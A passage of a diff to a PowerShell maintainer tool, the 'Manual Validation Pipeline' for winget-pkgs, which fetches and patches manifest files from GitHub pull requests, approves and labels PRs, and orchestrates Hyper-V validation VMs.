$Enum.PRLabels.NP - Get-RemovePRLabel -PR $PR -LabelName $Enum.PRLabels.NM - } - } -} - -#Commit -Function Get-CommitFile { - Param( - [int]$PR, - [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR), - $Commit = (Invoke-GitHubPRRequest -PR $PR2 -Type commits -Output $Enum.PRRequestOutput.Content -JSON), - [ValidateScript( { $_ -in (Get-Values $Enum.ManifestFileTypes) } )][string]$MatchName = $Enum.ManifestFileTypes.Root, - $PRData = (Get-PRData $PR2), - $PackageIdentifier = (($Commit.files.filename -split $Enum.Char.Slash)[$Enum.Index.Last] -replace $Enum.ManifestFileExtension.Installer,$Enum.Char.Comma -replace $Enum.ManifestFileExtension.Locale,$Enum.Char.Comma -replace $Enum.ManifestFileExtension.Root,$Enum.Char.Comma -split $Enum.Char.Comma)[$Enum.Index.First], - $PI = (Get-SchemaCheck -InputData $PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier), - $FileList = ($Commit.files.contents_url | where {$_ -match $MatchName} | where {$_ -match [System.Web.HttpUtility]::UrlEncode($PI)}), - [int]$VM, - [ValidateScript( { $_ -in (Get-Keys $Enum.CommitFileModes) } )][string]$Mode = $Enum.CommitFileModes.Default, - [switch]$Deparent, - [switch]$WhatIf - ) - $PR = $PR2 - $PackageIdentifier = $PI - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-CheckIfPackageIsNew $PR2"}; - if ($VM) { - Write-Host "Starting PR $PR on VM $VM for CommitFile" - } - if ($WhatIf) { - if ($Commit.Length -lt 1) { - Write-Host "Commit $Commit" - } - if ($PRData.Length -lt 1) { - Write-Host "PRData $PRData" - } - if ($FileList.Length -lt 1) { - Write-Host "FileList $FileList" - } - } - - if (!($Deparent)) { - #Count leading pluses or minuses to see if it's addition or removal PR. If removal, goto parent. - $commitfilespatch = $commit.files.patch -split $Enum.Char.LineBreak - $removeCount = ($commitfilespatch | Where {$_ -notmatch $Enum.Char.Ampersand} | Where {$_[$Enum.Index.First] -match $Enum.Char.Dash} | Measure-Object).Count - $AtCount = ($commitfilespatch | Where {$_[$Enum.Index.First] -match $Enum.Char.Ampersand} | Measure-Object).Count - if (($AtCount + $RemoveCount) -eq $commitfilespatch.Count) { - $Mode = $Enum.CommitFileModes.Parent - } - } - $manifestFolder = "$MainFolder\vm\$VM\manifest" - if ($VM -gt $Enum.Num.Zero) { - if (!($Silent)) {Write-Host $Enum.Strings.RemovingPreviousManifestAndAddingCurrent} - Get-RemoveFileIfExist "$manifestFolder" -remake -Silent - } - - switch ($Mode) { - $Enum.CommitFileModes.Patch { - Write-Host $Enum.Strings.ReturningPatch - $commit.files.patch - } - $Enum.CommitFileModes.Parent { - $parentCommit = Invoke-GitHubRequest -Uri $Commit.parents.url - # Write-Host "parentCommit count: $($parentCommit.Count)" - $parentcontent = $parentCommit.content | convertfrom-json - # Write-Host "parentCommit.content count: $($parentcontent.Count)" - $parentcontent = ($parentcontent.files.patch -split $Enum.Char.LineBreak) -replace "^\+",$Enum.Char.Blank - # Write-Host "parentcontent.files.patch count: $($parentcontent.Count)" - $parentcontent = $parentcontent -join $Enum.Char.LineBreak - # Write-Host "parentcontent -join count: $($parentcontent.Count)" - $parentcontent = $parentcontent -split $Enum.Char.DoubleAmpersand - # Write-Host "parentcontent -split count: $($parentcontent.Count)" - if ($parentcontent.Count -lt 3) { - Write-Host "File count $($file.Count) is too low." - Sleep $Enum.Num.Ten - } else { - - foreach ($file in $parentcontent) { - $file = $file -split $Enum.Char.LineBreak - # Write-Host "file: $($file.Count)" - $file - # Write-Host "file: $file" - if ($file.Count -gt 5) { - if ($VM -gt $Enum.Num.Zero) { - Write-Host "Starting PR $PR on VM $VM for file $file" - Get-ManifestFile -vm $VM -PR $PR -InstallerFile $file - } else { - $file -join $Enum.Char.LineBreak - }; #end if VM - } - }; # Forech file - } - } - default { - If ($FileList) { - foreach ($File in $FileList) { - if ($WhatIf) {Write-Host "$($MyInvocation.MyCommand.name) File: $File"} - try { - $EncodedFile = (invoke-GithubRequest -Uri $File -JSON) - } catch { - Write-Host $error[$Enum.Index.First].Message - } - $DecodedFile = Get-DecodeGitHubFile $EncodedFile.content - if ($VM -gt $Enum.Num.Zero) { - if ($FileList.Count -eq $Enum.Num.One) { - Write-Host "Starting PR $PR on VM $VM for InstallerFileAutomation - FileList.Count $($FileList.Count)" - Get-InstallerFileAutomation -PR $PR - Return - } else { - Write-Host "Starting PR $PR on VM $VM for DecodedFile - FileList.Count $($FileList.Count)" - Get-ManifestFile -VM $VM -PR $PR -InstallerFile $DecodedFile - } - } else { - $DecodedFile -join $Enum.Char.LineBreak - }; #end if VM - }; #end foreach Filelist - } else { - Write-Host "FileList empty: $FileList" - Get-CommitFile -PR $PR -Mode parent - } - }#end default - } -} - -Function Get-DecodeGitHubFile { - Param( - [string]$Base64String, - $Bits = ([Convert]::FromBase64String($Base64String)), - [string]$String = ([System.Text.Encoding]::UTF8.GetString($Bits)) - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-DecodeGitHubFile $String"}; - return $String -split $Enum.Char.LineBreak -} - -Function Get-PatchedValidation { - Param( - [Parameter(ValueFromPipeline)][int]$PR, - [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR), - [int]$VM = (Get-SchemaCheck -SchemaInfo $MVschemaData.VM.Number -InputData (Get-NextFreeVM)), - $commit = (Invoke-GitHubPRRequest -PR $PR2 -Type commits -Output $Enum.PRRequestOutput.Content -JSON) - ) - $VM = (Get-SchemaCheck -SchemaInfo $MVschemaData.VM.Number -InputData (Get-NextFreeVM)) - $PR = $PR2 - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-PatchedValidation $PR"}; - while ($commit.files.Length -eq $Enum.Num.Zero) { - if ($PatchedValidationIteration -gt 3) { - Write-Host "Infinte Loop Detected after $PatchedValidationIteration iterations." - Return - } - Write-Host "Fetching commit - Iteration $PatchedValidationIteration" - $commit = (Invoke-GitHubRequest -Uri $commit.parents.url -JSON) - $PatchedValidationIteration++ - } - $PackageIdentifier = ($commit.files[$Enum.Index.First].filename -split $Enum.Char.Slash)[$Enum.Index.Last] -replace $Enum.ManifestFileExtension.Installer,$Enum.Char.Blank -replace $Enum.ManifestFileExtension.LocaleEnUS,$Enum.Char.Blank -replace $Enum.ManifestFileExtension.Root,$Enum.Char.Blank - $PackageIdentifier = (Get-SchemaCheck -InputData $PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier) - $SuffixList = (Get-ManifestListing $Packageidentifier) - foreach ($Suffix in $SuffixList) { - Write-Host "Fetching Suffix $Suffix" - $file = Get-PatchedFile -PR $PR -Suffix $Suffix -commit $commit - Get-ManifestFile -VM $VM -PR $PR -InstallerFile $file - - } -} - -Function Get-PatchedFile { - Param( - [Parameter(ValueFromPipeline)][int]$PR, - [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR), - [int]$VM = (Get-NextFreeVM), - $Suffix = $Enum.ManifestFileTypes.installeryaml, - $commit = (Invoke-GitHubPRRequest -PR $PR2 -Type commits -Output $Enum.PRRequestOutput.Content -JSON), - [Switch]$WhatIf, - [Switch]$InnerWhatIf - ) - $PR = $PR2 - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-PatchedFile $PR"}; - $n = $Enum.Num.Zero - while ($commit.files.Length -eq $Enum.Num.Zero) { - $commit = (Invoke-GitHubRequest -Uri $commit.parents.url -JSON) - if ($WhatIf) { - Write-Host "PatchedFile commit parents Iteration $n" - $n++ - } - } - $patch = ($commit.files | where {$_.filename -match $Suffix}).patch -join $Enum.Char.Blank -split $Enum.Char.LineBreak - $PackageIdentifier = ($commit.files[$Enum.Index.First].filename -split $Enum.Char.Slash)[$Enum.Index.Last] -replace $Enum.ManifestFileExtension.Installer,$Enum.Char.Blank -replace $Enum.ManifestFileExtension.LocaleEnUS,$Enum.Char.Blank -replace $Enum.ManifestFileExtension.Root,$Enum.Char.Blank - $PackageIdentifier = (Get-SchemaCheck -InputData $PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier) - if ($WhatIf) {Write-Host "PackageIdentifier: $PackageIdentifier"} - $PackageVersion = (Get-ManifestListing $PackageIdentifier -ListVersions)[$Enum.Index.Last] - $file = Get-FileFromGitHub -PackageIdentifier $PackageIdentifier -Version $PackageVersion -Suffix $Suffix - if ($InnerWhatIf) { - Get-InnerPatchedFile -File $file -Patch $patch -WhatIf - } else { - Get-InnerPatchedFile -File $file -Patch $patch - } - -} - -Function Get-InnerPatchedFile { - Param( - $File, - $Patch, - [switch]$WhatIf - ); - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-InnerPatchedFile $PR"}; - $Loop = 1 - $AddedLines = $Enum.Num.Zero - $HunkData = $Patch -join "%%" -split $Enum.Char.DoubleAmpersand - $HunkDataCount = $HunkData.Length -1 - if ($WhatIf) { - Write-Host "PatchDataCount $HunkDataCount" - Write-Host "`n`n`nInput File" - $File - } - for ($Hunk = $Enum.Index.Second; $Hunk -lt $HunkDataCount; $Hunk += $Enum.Num.Two) { - $Loop = ($Hunk/$Enum.Num.Two) + .5 - if ($WhatIf) { - Write-Host "`n`n`n = = = = = = = = = = = = = = = = Loop $Loop = = = = = = = = = = = = = = = = " - Write-Host "AddedLines before $AddedLines" - } - $RemoveData = ($HunkData[$Hunk] -replace $Enum.Char.Ampersand,$Enum.Char.Blank -replace $Enum.Char.Dash,$Enum.Char.Blank -replace "\+",$Enum.Char.Blank -split $Enum.Char.Space -split $Enum.Char.Comma) - [int]$RemoveStart = $RemoveData[$Enum.Index.Second] - 1 + $AddedLines - [int]$RemoveEnd = $RemoveStart + $RemoveData[$Enum.Num.Two] - [int]$ReplaceStart = $RemoveData[3] - 1 + $AddedLines - [int]$ReplaceEnd = $ReplaceStart + $RemoveData[4] - # $AddedLines += $RemoveData[4] - $RemoveData[$Enum.Num.Two] - $HunkChange = $HunkData[$Hunk + 1] -split "%%" - - if ($WhatIf) { - Write-Host "AddedLines after $AddedLines" - Write-Host "RemoveData $RemoveData" - Write-Host "RemoveData2 $RemoveStart $RemoveEnd $ReplaceStart $ReplaceEnd" - - Write-Host "HunkChange: $($HunkChange.Length)" - # $HunkChange - [array]$HunkChange = $HunkChange -split $Enum.Char.LineBreak - for ($Line = 0; $Line -lt $HunkChange.Length; $Line++) { - Write-Host "$($Line): $($HunkChange[$Line])" - }#end foreach Line - } - $ReplaceHunk = ($HunkChange | where {$_ -notmatch "^[-]"} | %{$_[$Enum.Index.Second..$_.Length] -join $Enum.Char.Blank}) - $ReplaceHunk = $ReplaceHunk[$Enum.Index.Second..($RemoveData[4])] - if ($WhatIf) { - Write-Host "RemoveHunk: $($RemoveEnd - $RemoveStart)" - [array]$FileArray = $File -split $Enum.Char.LineBreak - for ($Line = $RemoveStart; $Line -lt $RemoveEnd; $Line++) { - Write-Host "$($Line): $($FileArray[$Line])" - }#end foreach Line - - Write-Host "ReplaceHunk: $($ReplaceHunk.Length)" - [array]$ReplaceHunk = $ReplaceHunk -split $Enum.Char.LineBreak - for ($Line = 0; $Line -lt $ReplaceHunk.Length; $Line++) { - Write-Host "$($Line + $ReplaceStart): $($ReplaceHunk[$Line])" - }#end foreach Line - } - if ($ReplaceStart -eq 0) { - if ($WhatIf) {Write-Host "File Change: `$ReplaceHunk + `$File[$ReplaceEnd..$($File.Length)]"} - $File = $ReplaceHunk[$Enum.Index.First..$ReplaceHunk.Length] + $File[$ReplaceEnd..$File.Length] - } else { - if ($WhatIf) {Write-Host "File Change: `$File[$($Enum.Index.First)..$ReplaceStart] + `$ReplaceHunk + `$File[$ReplaceEnd..$($File.Length)]"} - $File = $File[$Enum.Index.First..($ReplaceStart -1)] + $ReplaceHunk + $File[($ReplaceEnd -1)..$File.Length] - } #end if ReplaceStart - if ($WhatIf) { - # $AddedLines += $ReplaceHunk.Length - ($RemoveEnd - $RemoveStar) - # $AddedLines += $RemoveData[4] - $RemoveData[2] - # Write-Host "AddedLines: $AddedLines" - - Write-Host "`nFile after Loop $Loop " - [array]$FileArray = $File -split $Enum.Char.LineBreak - for ($Line = 0; $Line -lt $FileArray.Length; $Line++) { - Write-Host "$($Line): $($FileArray[$Line])" - }#end foreach Line - }#end WhatIf - }#end for inc - if ($WhatIf) { - Write-Host "`n`n`nOutput File" - } - return $File - -} - -Function Get-LogFromCommitFile { - Param( - [int]$PR, - [array]$LogNumbers, - [array]$StringNumbers, - $Length = 0, - [switch]$WhatIf - ) - $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-LogFromCommitFile $PR"}; - Foreach ($Log in $LogNumbers) { - $n = 0; - if ($WhatIf) {Write-Host "Log: $log"} - while ($n -le ($StringNumbers.Count -1)) { - try { - if ($WhatIf) { - Write-Host "n $n - Get-LineFromBuildResult -PR $PR -LogNumber $Log -SearchString $($Enum.MagicStrings[$StringNumbers[$n]]) -Length $Length - UserInput $UserInput" - } else { - $UserInput += Get-LineFromBuildResult -PR $PR -LogNumber $Log -SearchString $Enum.MagicStrings[$StringNumbers[$n]] -Length $Length - } - } catch {} - $n++ - } - } - - if ($WhatIf) { - Write-Host "return $UserInput" - } else { - return $UserInput - } -} - -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ -################################## - PR - ################################### -#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -#PR tools -#Add user to PR: Invoke-GitHubPRRequest -Method $Enum.PRRequestMethods.$Method -Type "assignees" -Data $User -Output StatusDescription -#Approve PR (needs work): Invoke-GitHubPRRequest -PR $PR -Method $Enum.PRRequestMethods.Post -Type reviews -Function Get-PRManifest {#Regenerates just enough of the Files Changed tab page, to engage and complete the PR Watch system. - Param( - [Parameter(ValueFromPipeline)][int]$PR, - $File = 0, - [switch]$Patch - ) - $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-PRManifest $PR"}; - $CommitFile = (Get-CommitFile -PR $PR -Deparent); - $PackageIdentifier = (Get-SchemaCheck -YamlValue $Enum.ManifestKeys.PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier -InputData ($CommitFile -split "`n" | Where {$_ -match $Enum.ManifestKeys.PackageIdentifier})[0]) - # $PackageIdentifier = Get-SchemaCheck -YamlValue $Enum.ManifestKeys.PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier -InputData $CommitFile | Get-RemoveQuotes - $PackageVersion = Get-YamlValue -Key $Enum.ManifestKeys.PackageVersion -InputArray $CommitFile | Get-RemoveQuotes - $Submitter = ((Invoke-GitHubRequest "$GitHubApiBaseUrl/pulls/$PR" -JSON).user.login); - - if ($Patch) { - $CommitFile = (Get-CommitFile -PR $PR -Mode Patch) - } - - $out = "$PackageIdentifier version $PackageVersion #$PR`n" - $out += "$Submitter wants to merge`n" - $out += $Enum.ManifestStrings.FooterHeader - $out += ($CommitFile -join $Enum.Char.LineBreak) - $out += $Enum.ManifestStrings.FooterHeader - return $out -} - -Function Approve-PR { - Param( - [Parameter(ValueFromPipeline)][int]$PR, - [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR), - [string]$Body = $Enum.Char.Blank, - $PRCommits = (Invoke-Commits -PR $PR2), - $commit = (($PRCommits.commit.url -split $Enum.Char.Slash)[$Enum.Index.Last]), - $uri = "$GitHubApiBaseUrl/pulls/$PR/reviews" - ) - Process { - $PR = $PR2 - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Approve-PR $PR"}; - if (!(Get-PRApprovalCheck -PR $PR)) { - try { - [array]$AuthorList = $PRCommits.commit.author.name# -join $Enum.Char.Space - $PRAuthors = $AuthorList[$Enum.Index.First] - }catch{} - if (($PRAuthors -notmatch $Enum.GitHubUserNames.GitHubUserName2) -AND ($PRAuthors -notmatch $Enum.GitHubUserNames.GitHubUserNameFull)) { - $Response = @{} - $Response.body = $Body - $Response.commit = $commit - $Response.event = "APPROVE" - [string]$Body = $Response | ConvertTo-Json - - $out = Invoke-GitHubRequest -Method $Enum.PRRequestMethods.Post -Uri $uri -Body $Body - $out.StatusDescription - Get-AddPRLabel -PR $PR -LabelName $Enum.PRLabels.MA - } #end try - } else { - Write-Host "$($MyInvocation.MyCommand.name): PR $PR failed approval check" - }#end if Get-PRApprovalCheck - }#end Process -}#end Function - -Function Get-PRApprovalCheck { - Param( - [Parameter(ValueFromPipeline)][int]$PR, - $PRCommits = (Invoke-Commits -PR $PR -Type "reviews") - ) - Process { - $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-PRApprovalCheck $PR"}; - [array]$StateData = ($PRCommits | Where {$_.user.login -match $Enum.GitHubUserNames.GitHubUserName}).state - $State = $StateData -join $Enum.Char.Blank - [bool]$out = $State -match "APPROVED" - Return $out - } -} - -Function Get-PRRange { - Param( +#Copyright 2022-2026 Microsoft Corporation +#Author: Stephen Gillie +#Title: Manual Validation Pipeline v3.90.0 +#Created: 10/19/2022 +#Updated: 4/3/2026 +#Notes: Utilities to streamline evaluating 3rd party PRs. +#Secure/Stable/Scalable is the new Works/Fast/Pretty + +$build = 1782 +$appName = "ManualValidationPipeline" +Write-Host "$appName build: $build" +$Owner = "microsoft" +if ($PReprod) { + $Repo = "winget-pkgs-preprod" + $Host.UI.RawUI.WindowTitle = "PREPROD" +} else { + $Repo = "winget-pkgs" +} +#Share this folder with Windows File Sharing, then access it from within the VM across the network, as \\LaptopIPAddress\SharedFolder. For LaptopIPAddress use Ethernet adapter vEthernet (Default Switch) IPv4 Address. + +$ipconfig = (ipconfig) +$remoteIP = ([ipaddress](($ipconfig[($ipconfig | Select-String "vEthernet").LineNumber..$ipconfig.Length] | Select-String "IPv4 Address") -split ": ")[1]).IPAddressToString +$RemoteMainFolder = "//$remoteIP/" +$SharedFolder = "$RemoteMainFolder/write" + +#Folders +$MainFolder = "C:\ManVal" +Set-Location $MainFolder +$imagesFolder = "$MainFolder\Images" #VM Images folder +$logsFolder = "$MainFolder\logs" #VM Logs folder +$MiscFolder = "$MainFolder\misc" +$writeFolder = "$MainFolder\write" #Folder with write permissions +$VMCounter = "$MainFolder\vmcounter.txt" +$VMversion = "$MainFolder\VMversion.txt" + +#Files +$TrackerModeFile = "$logsFolder\trackermode.txt" +$RemoteTrackerModeFile = "$RemoteMainFolder\ManVal\logs\trackermode.txt" #TrackerModeFile from the VM's perspective. +$FunctionTraceFileName = "$logsFolder\FunctionTrace.txt" +$LogFile = "$MiscFolder\ApprovedPRs.txt" +$PRQueueFile = "$MiscFolder\PRQueue.txt" +$PRExcludeFile = "$MiscFolder\PRExclude.txt" +$repoCountfile = "$MiscFolder\RepoCounts.csv" +$CovertReviewFile = "$MiscFolder\CovertReview.csv" +$ApprovalStatsFile = "$MiscFolder\ApprovalStats.csv" + + +#Data +$RepoFolder = "C:\repos\$Repo\Tools\ManualValidation" +$SchemaBackupFolder = "$RepoFolder\SchemaBackup" + +$DataFileName = "$RepoFolder\ManualValidationPipeline.csv" +$JsonFileName = "$RepoFolder\ManualValidationPipeline.json" +$SchemaFileName = "$RepoFolder\ManualValidationSchema.json" +$AutowaiverFile = "$RepoFolder\Autowaiver.csv" +$ExitCodeFile = "$RepoFolder\ExitCodes.csv" +$MMCExceptionListFile = "$RepoFolder\MMCExceptionList.txt" +$PRStateDataFile = "$RepoFolder\PRStateFromComments.csv" +$ReviewFile = "$RepoFolder\Review.csv" +$SchemaCheckFile = "$logsFolder/SchemaCheck.txt" + +$SharedErrorFile = "$writeFolder\err.txt" +$StatusFile = "$writeFolder\status.csv" + +$Win10Folder = "$imagesFolder\Win10-Created053025-Original" +$Win11Folder = "$imagesFolder\Win11-Created120825-Original" + +$GitHubBaseUrl = "https://github.com/$Owner/$Repo" +$GitHubContentBaseUrl = "https://raw.githubusercontent.com/$Owner/$Repo" +$GitHubApiBaseUrl = "https://api.github.com/repos/$Owner/$Repo" +$ADOMSBaseUrl = "https://dev.azure.com/shine-oss" +$ADOMSGUID = "8b78618a-7973-49d8-9174-4360829d979b" +$NextStaleCheck = (Get-Date) + +$CheckpointName = "Validation" +$VMUserName = "user" #Set to the internal username you're using in your VMs. +$SystemRAM = (Get-CimInstance Win32_PhysicalMemory | Measure-Object -Property capacity -Sum).sum /1gb +if ($PReprod) { + $Host.UI.RawUI.WindowTitle = "PREPROD-Utility" +} else { + $Host.UI.RawUI.WindowTitle = "Utility" +} +$GitHubRateLimitDelay = 0.33 #second +$RamPctForVms = .28 +[int]$PatchedValidationIteration = 0 +# $RamPctForVms = .42 +$GhRlRemain = 0 +$FunctionTrace = $False +$MVschemaData = gc $SchemaFileName | convertfrom-json + +#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +############################# - Applications - ############################## +#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +<# +foreach ($page in (1..4)) {(get-searchGitHub -Preset None -Label $Enum.PRLabels.PD).number | %{$_;Get-DuplicateCheck $_}} +#> + + +#First tab +Function Get-TrackerVMRunTracker { + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-TrackerVMRunTracker Start"}; + while ($True) { + if ($PReprod) { + $Host.UI.RawUI.WindowTitle = "PREPROD-Orchestration" + } else { + $Host.UI.RawUI.WindowTitle = "Orchestration" + } + (Get-VM | Where-Object {$_.state -eq "off"}).name -replace "vm","" | where {$_ -notmatch "Win"} | %{Get-TrackerVMSetStatus Complete $_} + Clear-Host + $Status = Get-Status + $Status | Format-Table; #Display + $VMRAM = Get-ArraySum $status.RAM + $ramColor = $Enum.PSColors.Green + $valMode = Get-TrackerVMMode + $contents = "" + $Status.vm | %{ + $path = "$MainFolder\vm\$_\manifest\Package.yaml"; + try {$contents = (Get-Content $path -ErrorAction SilentlyContinue)}catch{} + if ($contents -match "ManifestVersion: 1..0$") { + $contents -replace "ManifestVersion: 1..0$","ManifestVersion: 1.10.0" | out-file $path -ErrorAction SilentlyContinue + } + } + $status | ForEach-Object { + $GetVM = Get-VM -Name ($Enum.Strings.Vm + $_.vm) + $_.RAM = [math]::Round($GetVM.MemoryAssigned/1024/1024/1024, $Enum.Num.Two) + if (($_.package -eq $Enum.Char.Blank) -AND ($_.status -eq $Enum.VMStatus.ValidationCompleted)) { + $_.status = $Enum.VMStatus.Complete + } + } + if ($status -ne $Enum.Char.Blank){ + Write-Status $status + } + + + if ($VMRAM -gt ($SystemRAM*0.5)) { + $ramColor = $Enum.PSColors.Red + } elseif ($VMRAM -gt ($SystemRAM*.25)) { + $ramColor = $Enum.PSColors.Yellow + } + Write-Host "VM RAM Total: " -nonewline + Write-Host -f $ramColor $VMRAM + $timeClockColor = $Enum.PSColors.Red + if (Get-TimeRunning) { + $timeClockColor = $Enum.PSColors.Green + } + $PRQueueCount = Get-PRQueueCount + $VMRate = [math]::round((Get-VMMinutesPerPackage),2) + $PRsPerHour = [math]::round((60/$VMRate) * (Get-Status).count,2) + # $GhRlRemain = ((Get-GitHubRateLimit) | where {$_.source -match $Enum.GitHubRateLimit.Unlogged}).remaining + Write-Host -nonewline "Build: $build - Mode $valMode - $GhRlRemain GH calls remain. Hours worked: " + Write-Host -nonewline -f $timeClockColor (Get-HoursWorkedToday) + # Get-UpdateSource + Write-Host " - PRs in queue: $PRQueueCount" + Write-Host -nonewline "VMs are taking $VMRate minutes each, for about $PRsPerHour per hour. " + (Get-VM) | ForEach-Object { + if(($_.MemoryDemand / $_.MemoryMaximum) -ge 0.9){ + Set-VM -VMName $_.name -MemoryMaximumBytes "$(($_.MemoryMaximum / 1073741824) + 2)GB" + } + } + Get-TrackerVMCycle; + Get-TrackerVMWindowArrange + $PatchedValidationIteration = 0 + + if ($valMode -eq "IEDS") { + if ((Get-ArraySum $status.RAM) -lt ($SystemRAM*$RamPctForVms)) { + Write-Output $valMode + Get-RandomIEDS + } + } elseif ($valMode -eq "Drain") { + #This section intentionally left blank. So VMs will complete but not start. + } else { + if (!(($status | Where-Object {$_.version -ne (Get-TrackerVMVersion)}).Count)) { + if (!($status | Where-Object {($_.mode -join $Enum.Char.Space) -match "Creation"})) { + if ($PRQueueCount -gt 0) { + $VM = Get-NextFreeVM + if ($VM) { + if ((Get-ArraySum $status.RAM) -lt ($SystemRAM*$RamPctForVms)) { + $PR = Get-SchemaCheck -InputData (Get-PopPRQueue) -SchemaInfo $MVschemaData.PR.Number + if ($null -ne $PR) { + Write-Output "Running $PR from queue." + # Get-CommitFile -PR $PR -VM (Get-SchemaCheck -SchemaInfo $MVschemaData.VM.Number -InputData (Get-NextFreeVM)) + Get-CommitFile -PR $PR -VM $VM + }; #if null + }; #if Get-Array + }; #if VM + }; #if PRQueueCount + }; #If not status + }; #If not status + }; #if valMode + + $QueryClipboard = Get-QueryClipboard -Query $Enum.ClipboardQueries.TrackerVMRunTracker + If ($QueryClipboard.($Enum.SchemaKeysEtc.SkipToContent)) { + $GhRlRemain = ((Get-GitHubRateLimit) | where {$_.source -match $Enum.GitHubRateLimit.Unlogged}).remaining + if ($valMode -eq "Validating") { + Get-TrackerVMValidate; + $valMode | clip + } + } elseIf ($QueryClipboard.($Enum.SchemaKeysEtc.manifests)) {#Example: /manifests/t/tritant/MiniMediaEdit/1.0/tritant.MiniMediaEdit.installer.yaml + $GhRlRemain = ((Get-GitHubRateLimit) | where {$_.source -match $Enum.GitHubRateLimit.Unlogged}).remaining + Write-Output "Opening manifest file" + $ManifestUrl = "$GitHubBaseUrl/tree/master/" + $QueryClipboard.($Enum.SchemaKeysEtc.manifests) + Start-Process ($ManifestUrl) + } + if (Get-ConnectedVM) { + #Get-TrackerVMResetStatus + } else { + Get-TrackerVMRotate + } + Start-Sleep 5; + } + Write-Host "End of cycle." +} + +#Second tab +Function Get-TrackerVMScheduler { + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-TrackerVMScheduler Start"}; + $Now = get-date + while ($true) { + $Timestamp = (get-date -f s) -replace $Enum.Char.T,$Enum.Char.Space + if (([int](get-date -f mm) / $Enum.Num.Ten) -eq $Enum.Num.One) { + #Every 10 minutes. + $WatchLatch = $True + $VMs = (Get-VM |where {$_.status -ne "LongRunning"}) + foreach ($VM in $VMs) { + if ($VM.uptime.totalhours -gt 3){ + $name = $VM.name -replace $Enum.Strings.Vm,$Enum.Char.Blank; + Get-TrackerVMSetStatus $Enum.VMStatus.Complete $name + } + } + Write-Host "WatchLatch - $WatchLatch" + } + if ($WatchLatch) {#PR Watch functionality + Write-Host "$Timestamp - PRWatch" + Get-StopStuckVMs + Copy-Item "$RepoFolder\ManualValidationProfile.ps1" "$MainFolder\vm\0\Profile.ps1" + # Get-PRWatch -LogFile $MiscFolder\ApprovedPRs.txt -ReviewFile $ReviewFile -noNew + $WatchLatch = $False + } #Every 10 minutes. + + if (([int](get-date -f mm) -eq 20) -OR ([int](get-date -f mm) -eq 50)) { + #Twice an hour at 20 and 50 after. + $HourLatch = $True + Write-Host "HourLatch - $HourLatch" + + $DefenderPRs = (Get-SearchGitHub -Preset Defender).number + foreach ($PR in $DefenderPRs) { + Get-RemovePRLabel -PR $PR -LabelName $Enum.PRLabels.IEDS + Get-RemovePRLabel -PR $PR -LabelName $Enum.PRLabels.VIE + Get-RemovePRLabel -PR $PR -LabelName $Enum.PRLabels.VEE + Get-RemovePRLabel -PR $PR -LabelName $Enum.PRLabels.VC + } + } + if ($HourLatch) {#Hourly Run functionality + Write-Host "$Timestamp - ScheduledRun" + Get-ScheduledRun + $HourLatch = $False + } #Twice an hour at 20 and 50 after. + cls + Write-Host "$Timestamp - Waiting" + if ($PReprod) { + $Host.UI.RawUI.WindowTitle = "PREPROD-Waiting" + } else { + $Host.UI.RawUI.WindowTitle = "Waiting" + } + $GetStatus = Get-Status + $VMRAM = Get-ArraySum $GetStatus.RAM + $ramColor = $Enum.PSColors.Green + if ($VMRAM -gt ($SystemRAM*0.5)) { + $ramColor = $Enum.PSColors.Red + } elseif ($VMRAM -gt ($SystemRAM*.25)) { + $ramColor = $Enum.PSColors.Yellow + } + Write-Host "VM RAM Total: " -nonewline + Write-Host -f $ramColor $VMRAM + $timeClockColor = $Enum.PSColors.Red + if (Get-TimeRunning) { + $timeClockColor = $Enum.PSColors.Green + } + $PRQueueCount = Get-PRQueueCount + Write-Host -nonewline "Build: $build - Hours worked: " + Write-Host -nonewline -f $timeClockColor (Get-HoursWorkedToday) + Write-Host " - PRs in queue: $PRQueueCount" + 